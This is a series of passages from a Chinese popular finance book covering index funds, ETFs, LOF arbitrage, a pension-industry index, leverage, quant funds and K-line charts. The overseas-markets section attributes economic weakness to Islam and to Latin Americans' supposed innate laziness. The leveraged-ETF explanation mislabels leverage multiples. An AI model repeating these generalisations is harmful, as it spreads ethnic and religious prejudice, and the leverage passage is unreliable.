　　图 8.1 指数基金跟踪误差（来源：天天基金网）

　　以内；而年度跟踪误差一般都能控制在 1.5% 以内，如果能控制在 1% 以内就更好了。不过投资海外市场的 QDII 指数基金因为牵涉汇率问题，买卖流程耗时更长些，所以误差会高一些，但一般也不超过 3%。

　　所以，如果指数跌了 10%，而你手里的指数基金才跌了 7%，千万不要庆幸你亏少了，这说明你买了一只非常垃圾的指数基金，因为它的跟踪误差太大，将来指数涨 10% 的时候，它可能只会涨 6%。但有一种特殊情况例外，那就是你买的不是完全被动型的指数基金，而是主动增强型的指数基金。

增强型的指数基金是不是真的强？

　　普通的指数基金，基金经理只需要按照指数成分股的占比，依葫芦画瓢买回来就行了。但有些投资者既希望通过跟踪指数获得市场平均收益，又希望基金在指数化投资的基础上再精选个股，在一定程度上增强投资回报，让收益跑赢指数的涨幅。于是就出现了增强型指数基金，允许基金经理在一定的范围内对投资的股票进行调整。

　　听上去这似乎是一种两头讨巧的好办法，但结果是不是一定能如人所愿呢？

　　答案当然是否定的。把市面上现有的增强型指数基金和它的业绩基准做比较后，我们发现有些能跑赢，有些却跑输了，并没有出现一边倒的局面。那我们在选择指数基金时到底是应该选完全被动型的还是主动增强型的呢？

　　首先，指数基金最大的优点是什么？是便宜。

　　在前面的章节里，力哥说过，管理费最贵的是股票型基金。因为基金经理帮你主动选股，收成好坏全要仰仗基金经理，人家就有理由收更高的管理费，一般一年收 1.5% 甚至 2% 的管理费。但指数基金就不需要基金公司派那么多人手去研究股票，只要向指数公司付个指数使用费，然后复制粘贴就可以了。基金经理干活变得容易，管理费自然低得多，一般只有 0.5% 左右。长此以往，积少成多，就成了摆在指数基金和股票型基金之间巨大的收益天堑。

　　那增强型指数基金的管理费呢？比普通的指数基金高一点，比股票型基金低一点，大概 1% 左右，长此以往，还是会因为成本差异和普通的指数基金之间拉开距离。

　　更重要的是，指数基金一般不需要频繁买卖股票，只有指数的成分股发生变动时才需要调整仓位，股票型基金却不是这样，力哥之前还说过，半年内换手率低于 50% 的基金就算是价值投资了。中国有大量股票型基金半年的换手率超过 500%，这其中得白白浪费多少交易佣金和印花税呢？中国目前券商佣金收费大概在每笔万分之三左右，国家目前征收的印花税率是单边千分之一，也就是说买股票不要交税，卖股票要交税，如果一只基金半年换手率为 500%，也就是一年换手率为 1000%，所有股票都被买入并卖出过 10 次，一年的佣金就是 0.6%，印花税就是 1%，合计 1.6%。

　　而介于两者之间的增强型指数基金的交易成本肯定也会高于普通指数基金，所以力哥不喜欢这类不纯粹的指数基金。

　　其次，我们为什么选择指数基金，而不选择那些希望通过基金经理主动操盘去战胜市场与指数的股票型基金呢？

　　因为跑赢市场并不是一件很容易的事，指数基金的设计初衷就是帮助普通投资者取得市场平均收益。因为我们不贪婪，放弃了战胜市场的念头，获得市场平均收益就满意了，所以我们才会选择指数基金。如果你不是这么想的，那就应该去买主动操盘的股票型基金，何必要买这种一半主动一半被动的四不像呢？

神奇的“巴菲特赌局”

　　股神巴菲特也非常钟爱指数基金，在过去 20 多年间，他一直不厌其烦地向普通投资者推荐指数基金。在 2017 年 5 月召开的伯克希尔·哈撒韦公司的股东大会上，当有人问到已经 87 岁的股神身后事会怎么处理时，他居然说会建议太太在他死后去买标普 500 指数基金。然而过去几十年，巴菲特自己的伯克希尔·哈撒韦的股价涨幅远远超过了标普 500 指数的涨幅，为什么他不建议妻子买自家的股票呢？

　　并不是巴菲特不信任自己未来的接班人，而是他深刻理解人性的弱点。投资赚钱最困难的地方在于知易行难。很多道理所有人都懂，比如“不要追涨杀跌，而应该低买高卖”“别人恐惧你贪婪，别人贪婪你恐惧”。听到这些道理的时候你可能会觉得有道理，但拿着自己的真金白银投入到股市里的时候就全忘光了，往往别人贪婪你更贪婪，别人恐惧你更恐惧，结果自然赚不到钱。巴菲特多次说过，普通投资者长期来看跑不过大盘的原因，无非就是盲目追涨杀跌，根据小道消息和技术分析来预测趋势，以及频繁买卖股票白白损失了大部分手续费。不仅普通投资者是这样，主动型基金的基金经理同样有这些人性的弱点。这就是为什么长期看，大部分主动型基金总是跑不过指数基金的根本原因，因为大部分人都战胜不了人性的弱点，如果大部分人都能战胜的话，那也不叫人性的弱点了。

　　巴菲特不但公开为指数基金站台，而且在 2005 年，为了证明自己的观点，他还公开设了一场赌局，下注 50 万美元，说任何一名基金经理都可以选择至少 5 只主动型基金，假如 10 年后，这 5 只基金的整体表现优于标普 500 指数基金，他赔挑战者 50 万美元，反之，挑战者赔他 50 万美元。

　　结果好几年过去了，没有一个基金经理敢来挑战。直到 2008 年，总算有一个叫泰德·西德斯（Ted Seides）的基金经理起身应战，他挑选了 5 只 FOF，每只 FOF 又把钱投到几十个主动型基金中。结果从 2008 年到 2016 年的 9 年时间里，这五只 FOF 的收益率分别为 8.7%、28.3%、62.8%、2.9% 和 7.5%，平均年化回报率只有 2.2%，而标普 500 指数基金的收益率是 85.4%，平均年化回报率是 7.1%。

三招教你选出优秀指数基金

　　除了要挑选跟踪误差小的指数基金，还有两个很重要的挑选指标：一是成本，二是规模。

　　成本是力哥一直反复唠叨的，就不再多说了。虽然指数基金的管理费一般都会比股票基金低，但不同指数基金之间还是存在着一些差异。其中管理费最低的一定是可以场内交易的 ETF，力哥在后面的章节里会专门讲解这个。

　　而指数基金的规模一般建议选大不选小。一是规模大的指数基金流动性比较好，不怕买不进卖不出，也不会有清盘风险；二是规模越大的基金，基金操作受到日常申购赎回的影响就越小，这样指数跟踪误差就越小。

　　另外，指数基金也和其他基金一样，建议买老不买新，倒不是因为新基金没有历史业绩可以参考，实际上指数基金的业绩就是指数的业绩，直接看过去指数的走势就有数了。真正的原因是新基金建仓有个过程，所以在还没有全部完成建仓的时候买入这只新基金，就会出现比较大的跟踪误差。如果这段时间正好股市暴涨，你买的新基金的涨幅就会远远落后于指数的涨幅；如果这段时间正好股市暴跌，也别庆幸你躲过了一劫，因为这时你手里的新基金可能刚完成了一部分建仓，这一部分已经买入的股票市值大跌，而剩余一部分股票却是在暴跌后以更低的成本建仓的，这同样会对基金的指数跟踪误差产生影响。

　　总结一下，挑选指数基金主要看三点：一是跟踪误差，二是成本，三是规模。但这里说的是如果有 N 个指数基金跟踪同一个指数，应该怎么挑。如果你挑选的指数不对，本身走势就糟糕，指数基金再优秀你也很难赚钱。

指数基金界的王者：ETF

　　有一类指数基金，在成本和跟踪误差上做到了极致，这就是指数基金界的王者：ETF。

　　ETF 是 exchange traded funds 的首字母缩写，一般翻译成交易型开放式指数基金，也叫交易所交易基金，就是可以在交易所上市交易的、基金份额可变的一种开放式基金。

　　ETF 是开放式基金中比较特殊的一种，还记得力哥之前介绍基金分类时提过的开放式基金和封闭式基金的区别吗？前者随时可以申赎，份额可以变动，所以叫开放式基金；后者不能随意申赎，只能去二级市场与其他投资者进行买卖交易，所以叫封闭式基金。这两种基金各有各的优点和缺点，开放式基金交易方便，但投资者的申购和赎回带来的资金流动性风险不仅给基金经理增加了操盘难度，也降低了资金利用效率；后者虽然方便基金经理操作，但投资者交易起来比较麻烦。而 ETF 就是投资者既可以像普通的开放式基金一样在场外申购赎回，也可以像普通的封闭式基金一样在场内买卖，从而大大增强了这类基金对投资者的吸引力。

ETF vs 普通指数基金

　　ETF 申购赎回的投资门槛太高，我们普通投资者玩 ETF，基本上都是在场内买卖。场内股票交易的最低门槛是一手（100 股），基金的最低门槛也是一手（100 份基金份额）。但由于基金净值一般都只有 1～2 元甚至几毛钱，而股票可能动辄几十元或上百元一股，所以买一手基金只需要大概 100～300 元，一般不会超过 1000 元，最少几十元就够了，投资门槛比股票要低。

　　普通个人投资者一般直接在二级市场买卖基金份额，不会影响基金规模，而机构投资者在一级市场的申赎，都是一篮子股票和基金份额之间的转换，也不涉及资金进出。所以，基金经理就可以把股票仓位提高到 98%、99% 甚至 99.5% 以上，股市上涨时，沪深 300ETF 就一定会比普通的跟踪沪深 300 指数的指数基金涨得更多，更能保障全体基金持有人的利益。

　　而普通的指数基金，为了应对投资者的赎回需求，仓位往往只有 90%、92%，最多 94%，股市疯狂下跌投资者纷纷赎回时，就不得不在低位卖出股票，这造成了更大的实际亏损；而当股市疯狂上涨，投资者纷纷申购时，又因为基金规模迅速膨胀而来不及建仓，基金真实涨幅远远低于指数理论涨幅，导致原来的基金投资人的收益被稀释。

　　因为操作简便，不需要基金经理操什么心，ETF 的管理费就进一步降低了，一般只有 0.3%～0.5%，是所有偏股型基金中最低的。投资者在二级市场买卖 ETF 也非常方便，和买卖股票一样，即时成交。卖掉 ETF 赚到的钱，也和股票一样，当天可用，次日可取，也就是当天可以用来买其他股票或基金，第二天就能把钱从证券账户转回银行账户。而普通的开放式指数基金却需要等待一天才能申购成功，赎回更是要等上三四天，资金才会到账。和买卖股票相比，ETF 没有印花税，只需要缴纳最高千分之三、最低万分之一不等的券商佣金，这又进一步降低了投资成本。为什么今天 ETF 能成为指数基金大家族中的王者，原因就在于此。

ETF 的影子基金：ETF 联接基金

　　说完 ETF，顺便再介绍一下它的双胞胎弟弟——ETF 联接基金。这又是什么呢？

　　在过去 3 年多的时间里，每次一介绍 ETF，总会有不少粉丝问：“力哥，你说的这个 ETF 我怎么在天天基金网上找不到啊？”或者说“我怎么在蚂蚁财富上买不了啊？”原因就在于 ETF 的场外申购门槛是 100 万元，我们普通投资者没办法玩。

　　不过也有一些粉丝却说：“力哥你瞎说，我看到你说的这个 ETF 了，天天基金网上有卖的，没你说的那么邪乎，要 100 万元才能买，100 元就能买了。”他们说的其实是 ETF 联接基金。

　　这类基金比 ETF 多了“联接”两个字，顾名思义，就是专门去买 ETF 的基金，或者叫作 ETF 的影子基金，本质上和 ETF 没区别。

　　可明明有 ETF 在，直接买不就行了吗？为什么还会出现所谓的联接基金？

　　是因为许多投资者不懂或者不习惯像买股票一样在证券交易账户里买卖 ETF，因为从操作上看，这的确要比在天天基金网上买基金更复杂，而且所有场内基金从操作上看，都无法设置自动定投功能。所以虽然 ETF 有那么多优点，很多人还是不愿意买。有市场需求，自然就会有基金公司开发相应的产品来满足市场需求。ETF 联接基金是普通的开放式基金，可以直接在场外申购和赎回，操作简便。

　　具体来说，ETF 联接基金 90% 以上的资金按规定都必须去买对应的 ETF，比如说华夏上证 50ETF 联接基金中就有超过 90% 的资金买了华夏上证 50ETF。要注意的是，基金经理不但可以像我们普通投资者一样在二级市场买卖 ETF，也可以参与一级市场的申购和赎回，从而获得套利收益。剩下不到 10% 的仓位可以主动管理，就像传统的指数基金一样，总得留出一点钱来应对投资者的赎回需求。因为 ETF 联接基金的走势基本上是在复制其所跟踪的 ETF 的走势，加上 ETF 本身已经收取了一次管理费和托管费，如果 ETF 联接基金再收一次管理费和托管费，就涉嫌重复收费了，既侵害了投资者的利益，也降低了 ETF 联接基金本身的吸引力。所以根据规定，ETF 联接基金中占比超过 90% 的 ETF 份额，不能再收管理费和托管费，只有剩下不到 10% 的主动管理的基金资产可以收取管理费和托管费，所以实际上 ETF 联接基金的持有成本只比 ETF 高出了一点点，还是比普通的指数基金低很多。而且 ETF 联接基金也可以设置自动定投计划，省心省力，所以如果你想要投资场外的指数基金，与其买普通指数基金，还不如买 ETF 联接基金。比如说，与其去买普通的沪深 300 指数基金，就不如买沪深 300ETF 联接基金。不过虽然管理费很低，但场外基金申赎的手续费还是逃不掉的。所以如果不考虑便利性，仅从投资成本上看，ETF 联接基金还是不如 ETF。

　　那到底我是应该选择投资 ETF 还是 ETF 联接基金呢？答案因人而异。

　　ETF 的优点是成本最低，操作最灵活，缺点是操作相对复杂，无法自动定投，而且必须在股市开盘时间操作，对于工作繁忙以及投资水平不高的人来说，就不是很合适。ETF 联接基金则相反，投资成本虽然高了点，但操作最简便，可以自动定投，能够让投资者少操很多心。

ETF、LOF，傻傻分不清楚

　　说完 ETF，力哥接着再来介绍一种和 ETF 有点相似的基金品种——LOF。

　　LOF 和 ETF 一样，也可以在二级市场买卖，买卖方法也和 ETF 一样，并且也可以玩套利，这就导致许多小伙伴一直分不清楚这两者的区别。

　　LOF，是 listed open-ended fund 的简称，翻译为上市型开放式基金。和是舶来品的 ETF 不同，LOF 是中国市场自主创造的一种基金品种。中国第一只 LOF 成立于 2004 年 8 月 24 日，比中国第一只 ETF 成立的时间还早了几个月，名叫南方积极配置混合型基金，听上去好像和普通的开放式基金没什么两样，不像 ETF 类基金名字里就有明确的 ETF 三个字母。LOF 的名字就是普通的开放式基金，只不过会在名字最后加上一个括号，里面写上 LOF，如果没这个括号，那就是普通的开放式基金，有这个括号，就是 LOF 了。

　　中国为什么会出现 LOF 呢？因为中国最早诞生的都是封闭式基金，后来开放式基金才兴起。而 LOF 就是把封闭式基金和开放式基金的优点结合而产生的本土化创新产物。LOF 本质上是一只开放式基金，但却可以在二级市场上市交易。这样一来，想在一级市场申购赎回的就去天天基金网上玩；想在二级市场买卖的，就去证券账户玩，一只基金同时满足了两种投资者的需求。套用 ETF 的语境，那就是 LOF 同时具备了 ETF 和 ETF 联接基金的优点，完美！

　　因为两者机制非常相似，在中国诞生的时间也在同一年，而且经常被许多专家放在一起说，许多人之所以搞不清这两种基金也就能理解了。

　　分辨 ETF 和 LOF 还有一个非常简单的办法，就是看基金代码。中国所有的股票、基金和指数都有一个 6 位数的代码。沪市 A 股代码都是以 60 开头的，沪市 B 股代码都是以 900 开头的，深市主板 A 股代码都是以 00 开头的，深市 B 股代码都是以 200 开头的，深市中小板代码都是以 002 开头的，深市创业板代码都是以 300 开头的。所以你看到以 0、2、3、6、9 开头的 6 位代码，一般对应的都是股票。顺便说句题外话，力哥所有的会员都有一个对应的股票代码作为会员编号。而沪市基金都是以 5 开头的，深市基金都是以 1 开头的，所有以 1、5 开头的 6 位代码一般都是基金。而具体到 ETF 和 LOF，会发现所有沪市 ETF 都是以 51 开头的，所有深市 ETF 都是以 15 开头的；所有沪市 LOF 都是以 5010 开头的；所有深市 LOF 都是以 16 开头的。为什么沪市 LOF 前 4 位代码都一样呢？因为上交所和深交所在创立之初的定位就是前者主要负责稳健守成，后者主要负责开拓创新，这就像 1990 年中央对上海和深圳这两座城市的定位一样。所以各种证券市场的金融创新，都是深交所走在前面，上交所跟在后面。今天市场上的 LOF 主要都在深交所上市，上交所中很少，所以才能做到前 4 位代码都一样。

　　后面力哥还会详细讲解可以投资海外市场的 QDII 基金，其中可以在二级市场交易的 QDII 基金也分为 QDII-ETF 型和 QDII-LOF 型。加入了 QDII 的因素，很多投资者就更加搞不清谁是谁了。最简单的办法还是看代码，比如说华宝油气的代码是 162411，以 16 开头，说明它是深市的 LOF；南方原油的代码是 501018，以 5010 开头，说明它是沪市的 LOF；交银中国互联的代码是 164906，以 16 开头，说明它也是深市的 LOF；但另一个很容易混淆的易方达中概互联的代码是 513050，以 51 开头，说明它是沪市 ETF。这段话稍微有点复杂，多看两遍就懂了。

　　除了这些，ETF 和 LOF 还有两个非常明显的不同点。

　　一是 ETF 全是指数基金，而 LOF 既可以是指数基金，也可以是主动管理的股票型、混合型和债券型基金，甚至连一些只要可以在场内交易的 ETF 联接基金，也属于 LOF。

　　二是 LOF 和 ETF 的套利规则完全不同。LOF 的场外申赎没有 ETF 那么高的资金门槛，也不需要买一篮子股票去换基金，我们普通个人投资者也能参与，而且还真能赚到钱，所以力哥会专门来介绍一下 LOF 的套利策略。

　　不过在熊市里经常出现的折价套利相对于牛市里经常出现的溢价套利有一个巨大的优点，就是溢价和折价长期来看都会被抹平。对折价套利来说，如果套利失败，你也可以继续持有，等待折价回归来赚钱，所以折价套利比溢价套利的安全系数更高。

风险更低的 LOF 套利

　　LOF 套利还可以配合我们的场内基金定投，玩出更高级的花样，比如说你一直在定投某个 LOF，现在已经投入了 5 万元，这时突然发现市场中出现了一个明显的套利机会，你就可以这么做：

　　当溢价套利机会出现时，场内价格更高，你就可以在同一天里，从备用资金里拿出 5 万元申购这个 LOF，同时在场内把原本持有的这 5 万元 LOF 卖掉；当折价套利机会出现时，场外净值高，你也可以在同一天里，从备用资金里拿出 5 万元买入这个 LOF，同时在一级市场把原本持有的 5 万元 LOF 赎回。

　　这么做的好处是可以进一步缩短你的套利时间，从而降低了套利风险。原本你申购后要等上 2 个交易日才能卖掉，但现在手里本来就有现成的 LOF，可以在申购的同时卖掉，就避免了未来 2 天股市可能下跌给套利带来的损失。

　　这种更高级别的也是风险更低的套利策略就叫作底仓套利，和一般的 LOF 套利相比，力哥更推荐大家玩这种套利，不仅因为它的套利风险更低，而且还可以配合我们的基金定投，相当于在我们获得正常的基金定投收益的基础上，还能顺便获得额外的套利收益，岂不妙哉？

　　但要注意的是，底仓套利也有个巨大的软肋——原本有 100 多只 LOF 的套利机会可以选择，但你定投的 LOF 最多只有几只，所以你能把握的套利机会就大幅减少了。

　　现在中国已经过了刘易斯拐点，老龄化进程进入加速期，所有和身体健康有关的，包括医药、医疗器械、生物科技、新能源、环保都会受到巨大的市场需求的推动。马云也曾公开说过：“未来阿里巴巴集团的核心业务是电商、金融和物流，而这三者最终都会服务于外围的快乐和健康。”

　　所以力哥认为，中国未来 20 年最有“钱途”的四大产业就是泛教育、泛理财、泛娱乐和泛健康。挑选这几个行业的指数基金进行长期投资，也将是最有“钱途”的明智之选。

现在市场上具体有哪些行业指数和对应的指数基金可以投资呢？

　　泛理财产业主要对应的是中证金融指数，也就是主要投资银行、证券、保险这三大行业的指数，还有中证互联网金融指数；泛教育和泛娱乐产业主要对应的是中证教育产业指数，如中证娱乐产业指数、中证传媒产业指数、中证影视产业指数、中证文体休闲产业指数、中证 TMT 指数等；泛健康产业主要对应的是各类医药和医疗指数、互联网医疗指数以及中证健康产业指数等。只要在天天基金网的首页搜索框搜索这些指数的名字，就能发现目前有没有对应的指数基金可以投资了。

　　包揽最有“钱途”四大行业的指数基金

　　那有没有一个指数能一举囊括这四大未来最有“钱途”的产业呢？有！

　　2014 年 6 月 6 日，中证公司推出了一个新的主题指数：中证养老产业指数。

　　为什么力哥特别看好这个指数呢？

　　因为老龄化是中国未来 20 年经济增长面临的最大挑战，反过来说，也是中国未来 20 年市场需求量最大、赚钱机会最多的产业。

　　首先，养老最大的需求一定是看病吃药，因为每个人都怕死，生病了就要吃药，哪怕药再贵，为了保命也得咬牙买来吃，这是老龄化社会的第一刚性需求。所以这个养老指数中占比最大的就是医药股，占了将近 1/3 的比重。

　　其次，老人退休后闲来无事，有什么需求呢？当然就是娱乐了。年轻时为了赚钱养家没时间玩，老了当然要“玩玩玩”。所以传媒娱乐互联网产业也会分享到老龄化的巨大红利，这些行业的股票也在养老指数中占有比较高的比重。

　　再次，今天我们已经进入了知识大爆炸和知识更新速度极快的知识经济时代，大家愿意买力哥的理财书，也是因为过往的知识不够用了，所以这是一个持续学习、终身学习的时代。俗话说“活到老学到老”，过去这句话只是在表达一种老年人应该与时俱进的态度，而今天持续学习却是老年人的生活必修课，今天不会玩微信的老年人和眼盲耳聋的人已经没有多大差别了。而在养老指数中占比排名第二的传媒文体互联网产业里，泛教育类的业务也涵盖了不少。

　　最后，年纪大了力不从心，没办法像年轻时那样，左手劳动收入，右手理财收入，两边一起发力，共同开启双核复利引擎。除了国家发的那点微薄的养老金，又不能再继续打工赚钱，要想老了以后有钱看病、有钱玩乐，那可不就只能完全依靠理财了吗？而对老年人来说，他们最容易接受的安全系数最高的理财工具不是 P2P、众筹这些新鲜玩意，而是保险业，所以养老保险会比较吃香。因此，A 股四大保险股——人寿、平安、太保、新华在这个指数中的占比都很高，而保险股同样也会受益于泛理财产业的崛起。

　　除了上述四大未来最有“钱途”的产业会在养老指数中占有重要地位外，另外还有一些行业也会受益于老龄化趋势。比如老年人容易骨质疏松，一摔跤就骨折，因此老年人特别需要补钙，每天喝牛奶就成了刚需，所以伊利、光明这样的乳品股就会受益；老年人也会有更多的闲暇时光去旅游，所以像桂林旅游、黄山旅游这样的旅游股也会受益。

　　中证养老产业指数共有 80 个成分股，每半年更新一次，从行业分布上看，医药卫生和升级消费行业占 2/3，信息技术行业占 15%，必要消费行业占 8%，金融地产行业占 7%，完美地收入了力哥看好的四大行业股票。

　　从历史回测来看，中证养老产业指数的表现也可圈可点，从 2013 年到 2016 年，4 年时间累计上涨了 100.45%，同期沪深 300 指数只涨了 38.31%，高出近 2 倍。

　　目前跟踪中证养老产业指数的有两只基金。

　　一是广发养老指数基金，这是一只普通的开放式指数基金。还有一只叫国寿安保中证养老产业指数分级基金。但因为这两只基金发行的时间都比较晚，错过了上一轮牛市，加上 2017 年是熊市，所以这两只基金的规模都比较小，存在一定的流动性风险，所以力哥建议大家不用急着买，中国养老产业的大发展大繁荣才刚刚开始，投资养老产业并不急于一时。

杠杆是把双刃剑

　　分级基金又叫杠杆基金。阿基米德说的“给我一个支点，我就能撬动地球”说的就是杠杆原理。在投资理财领域，杠杆就是借钱投资的意思，这样你的投资就产生了放大效应。比如你原本只有 100 元，但又向别人借了 100 元。假如你的投资收益是 10%，本来只能赚 10 元，现在多了 100 元借来的本金，就能赚到 20 元。但你真正拿到手的收益并不是 20 元，因为资本市场中没有慈善家，借钱是要付利息的。利息越低越划算。如果利息是每年 7%，100 元借来用一年的成本就是 7 元，假如你的年收益率还是 10%，表面上看多赚了 10 元，实际上却只赚了 3 元。反过来，投资的亏损也会被放大。还是举上面这个例子，在不借钱的情况下，你投资亏损 10%，就意味着 100 元本金亏了 10 元，但如果加杠杆融资 100 元，你的实际亏损就是 20 元的损失加上 7 元的融资成本，合计 27 元，和你 100 元自有本金相比，亏了 27%。

　　虽然杠杆有这种一荣俱荣、一损俱损的脾气，但由于它满足了人类的贪婪，在金融市场上一直非常受欢迎。尤其在牛市中，加了杠杆，就像加足了马力的印钞机，幸福来得太快、太简单；但同样的，灾祸也会来得太狠、太残酷。所以一定要记住，任何时候，杠杆都是一把双刃剑。

　　海外成熟的资本市场历史悠久，各种加杠杆的投资工具也很多，除了中国在过去几年里陆续推出的股指期货、期权和融资融券功能外，海外市场从 20 世纪 80 年代起就出现了带有杠杆的基金，其中以美国和英国的杠杆型封闭基金最具代表性。而力哥之前介绍 ETF 时也提到过，今天美国市场加杠杆的 ETF 也很多，从一倍正向杠杆，到两倍正向杠杆，再到一倍反向杠杆都有。所谓一倍正向杠杆，指的是如果你买的 ETF 跟踪标的本身涨了一倍，你可以赚到两倍的收益；两倍正向杠杆，指的是如果你买的 ETF 跟踪标的本身涨了一倍，你可以赚到四倍的收益；而一倍反向杠杆的 ETF 则属于基金的做空机制，你买的这个 ETF 跟踪标的本身跌了多少，你就能赚多少；反过来说，如果跟踪标的涨了，你就要亏钱。

　　出于风险控制的考虑，国内一直不允许发行这种带有杠杆的更刺激的 ETF，但从 10 年前的 2007 年开始，中国的基金公司搞出了一种具有中国特色的杠杆型基金，这就是分级基金。

关于量化基金

　　量化基金不需要像传统基金那样养一大堆分析师进行人工分析和调研，只需要一个基金经理配上两个精通数学和编程的金融工程师就可以干起来了。这有点像今天的互联网创业，只需要一个产品经理加上一个安卓工程师和一个 iOS 工程师就能搞起来了，所以基金的管理成本也很低。

　　基于量化策略的量化基金，是目前市场上最复杂的、普通人最难以理解的基金品种，它并不像分级基金那样规则复杂，每一个量化基金的量化策略模型可能都不一样，每一个量化策略本身可能都非常复杂。比如量化选股、量化择时、统计套利、期货套利、期权套利、ETF/LOF/分级基金套利、事件驱动套利、算法交易等，每一个量化基金都会采取其中的若干种量化策略。其中 ETF、LOF 和分级基金套利交易的原理，力哥在前面的章节里介绍过，回想一下，你是不是觉得它们是本书里最复杂的知识点呢？而量化择时、期货套利、算法交易等就更复杂了，力哥真不忍心让你的大脑再受罪了。

　　直到 2013 年，量化基金的规模还是很小：一是因为这种产品太“高大上”，太复杂，高端人才缺口还是很大；二是量化投资非常依赖计算机程序，技术实力的高低对投资收益的影响很大，而国内量化交易程序的开发相对落后。“8·16 光大证券乌龙指事件”就暴露了量化交易在操作上的巨大风险。

　　2013 年 8 月 16 日，光大证券策略投资部门的自营业务，在使用自己研发的套利策略系统时出现漏洞，导致当天 11 点 05 分 08 秒之后的 2 秒内，瞬间重复生成了 26082 笔巨量订单，以 234 亿元巨量资金申购 180ETF 成分股，实际成交 72.7 亿元，使 59 只大盘权重股瞬间封涨停，上证指数瞬间上涨 5.62%，成为中国 A 股市场至今为止最大的乌龙事件，而其原因就在于套利系统自身存在风控上的严重问题。

　　上面这几点风险告诉我们，量化基金并没有多么神奇，归根到底，电脑也只是人脑的补充，想要第一时间应对市场变化，抵御各种风险，基金经理本身有丰富的经验才是最关键的。所以在挑选量化基金时，基金经理的历史业绩和基金公司的研发实力就很重要了。从择时角度看，量化基金更擅长赚市场波动的钱，所以单边上涨的大牛市和单边下跌的大熊市都不适合玩量化基金，而在震荡市中选择量化基金可能会更容易赚到钱。

投资标的

　　中东地区受伊斯兰教影响巨大，伊斯兰教义并不十分鼓励民众积极入世拼搏创造财富，也不是十分鼓励创新，这在一定程度上限制了这一地区的经济活力。东欧市场一方面由于欧盟东扩，整体上越来越接近于西欧的成熟市场，另一方面又面临着和西欧一样的人口快速老龄化的巨大挑战。而俄罗斯的经济过度依赖石油等大宗商品的出口，所以经济波动非常剧烈，投资风险非常高。拉美市场除了暂时没有遇到人口老龄化的挑战外，其他问题一个不少，包括政治腐败和恶性通胀导致的社会动荡，过度依赖石油、铁矿石、农产品出口所导致的经济波动以及拉美人民骨子里乐天、享受、不是那么勤劳的基因，这些都对这一地区经济的长期发展造成了负面影响，所以投资拉美股市也要特别谨慎。

　　美国是全球霸主，在政治、经济、文化、军事、科研、教育等各个领域都全方位碾压其他国家，未来 20 年唯一会对美国产生挑战的国家，只有中国，所以中美两国的股市都得放在核心位置。而德国是欧盟的发动机，德国经济是欧洲最好的，德意志民族在欧洲也是最勤劳聪明的，德国股市也可以说是欧洲股市的代表。

　　打开券商的交易软件，最常看见的就是黑色的屏幕上出现了一个个红色和绿色交织在一起的小柱子，也有的券商用的是红色和蓝色，这就是股民经常说的 K 线图（见图 22.1）。

　　K 线图的这种表现形式最早是由日本德川幕府时代的米市商人用来记录米市价格波动的，因为这种表示价格波动的图线既直观又细腻。现代金融市场建立后，K 线图就被广泛应用在股票、债券、基金、期货、外汇甚至比特币市场中。而 K 线图这个名字的由来和英文字母 K 没关系，因为当时日本人把这条线称为罫线，中文里读 guai，日文里读 kei，和英文字母 K 的发音差不多，就直接翻译成 K 线了。

　　

　　图 22.1 K 线图（来源：华泰证券交易软件）

　　因为画出来的图形很像一根根蜡烛，尤其是红色的线，所以 K 线又叫日本蜡烛线。其中有些线是实心的，叫阴线，有些是空心的，叫阳线，所以 K 线也叫阴阳线。

　　K 线是我们投资理财时必须掌握的最重要的图形指标。每一根蜡烛都记录了 4 个重要价格信息，分别是开盘价、收盘价、当日最低价和当日最高价。柱子的顶和底记录了开盘价和收盘价，谁高谁就在上面，如果开盘价比收盘价高，也就是开盘价在上面，收盘价在下面，说明当天的价格是下跌的，用实心填满柱子，这就是阴线，大部分软件会把它涂成绿色；相反，如果收盘价比开盘价高，当天的价格是上涨的，这就是阳线，大部分软件会用红色的线表示，有些软件为了图吉利，也会用实心的红色柱子表示。这里顺便说一句，在西方国家，绿色表示顺畅安全没毛病，比如绿灯意味着通行，所以价格上涨时用绿色表示；而红色常常用来警示危险，所以价格下跌亏钱时用红色表示更醒目。但中国文化认为红色表示喜庆，过年放的爆竹、结婚送的红包都是红色，反而绿色不招人待见，所以这套红绿价格识别体系到了中国就被彻底颠倒过来了，变成了红色表示涨，绿色表示跌。

　　除了柱子本身，你还会发现它上下两端各有一根竖着的线，上面那根叫上影线，下面那根就叫下影线，上影线的最高点表示当日最高价，下影线的最低点表示当日最低价（见图 22.2）。如果当天的开盘价或收盘价就是最高价，则没有上影线，俗称光头；反之，则没有下影线，俗称光脚。如果开盘价和收盘价比较接近，从盘面上看，蜡烛线中间的实体部分几乎就消失了，变成了一根横线，再加上上下影线，就成了十字星。如果上下影线都很长，就叫大十字星；反之，就叫小十字星；只有下影线没有上影线，叫 T 型光头十字星。最极端的情况是，当天价格几乎没有波动，这一天的 K 线就像一根很短的直线，就叫一字线。

　　

　　图 22.2 蜡烛线

　　另外，我们将日涨跌幅在 1.5% 以内定义为小幅波动，在 1.5%～5% 则为中幅波动，5%～10% 为大幅波动，所以就出现了所谓大阳线、小阴线这类的说法。而把每一个交易日的蜡烛线连接在一起，形成一张完整的图谱，就像一张心电图一样，能最直观反映某只股票、基金或任意投资品在一段时间内的整体价格走势。比如“一阳吞三阴”，指的是一根大阳线能把之前三天中阴线或小阴线的跌幅全部弥补回来，这么一来排列组合就更多了。K 线图中的每一根蜡烛代表一天的话就是日 K 线，每根蜡烛也可以代表一周、一个月、三个月、半年甚至一年的变化

必须了解的指标：移动平均线

　　在 K 线图上往往还有许多曲线，其中最基础的就是移动平均线（Moving Average，MA），简称均线，把鼠标移到这些线上会显示这条线的标签，以 MA 开头的，表示均线，它后面还跟一个数字，这个数字代表着这条线是多少日的均线。比如 MA20，就是 20 日均线，它代表包含当天收盘价在内的 20 个交易日的平均值，按照这个算法，每个交易日能得出一个点，用一条平滑曲线把这条线连起来就是 20 日均线（见图 22.7）。以此类推，MA5 就是包含当天收盘价在内的 5 个交易日收盘价的均值连成的一条线。常用的均线有 5 日、10 日、20 日、30 日、60 日、120 日和 250 日的指标。5 日、10 日属于短期移动平均线，是短线操作的参考指标，也叫作日均线指标；30 日、60 日是中期均线指标，也叫作季均线指标；120 日和 250 日是长期均线指标，也叫作年均线指标，其中 250 日均线一般就是年线。

　　

　　图 22.7 移动平均线 M20（来源：华泰证券交易软件）

　　在软件中也可以自定义设置一条均线。在 K 线图的空白处点击右键，选择修改指标参数，就能设置你想要看的均线了。K 线和均线往往要配合起来看，在技术分析中，短期均线超越中长期均线叫金叉，预示趋势可能向上；反之，则叫死叉，预示趋势可能向下。

打新股赚钱的由来

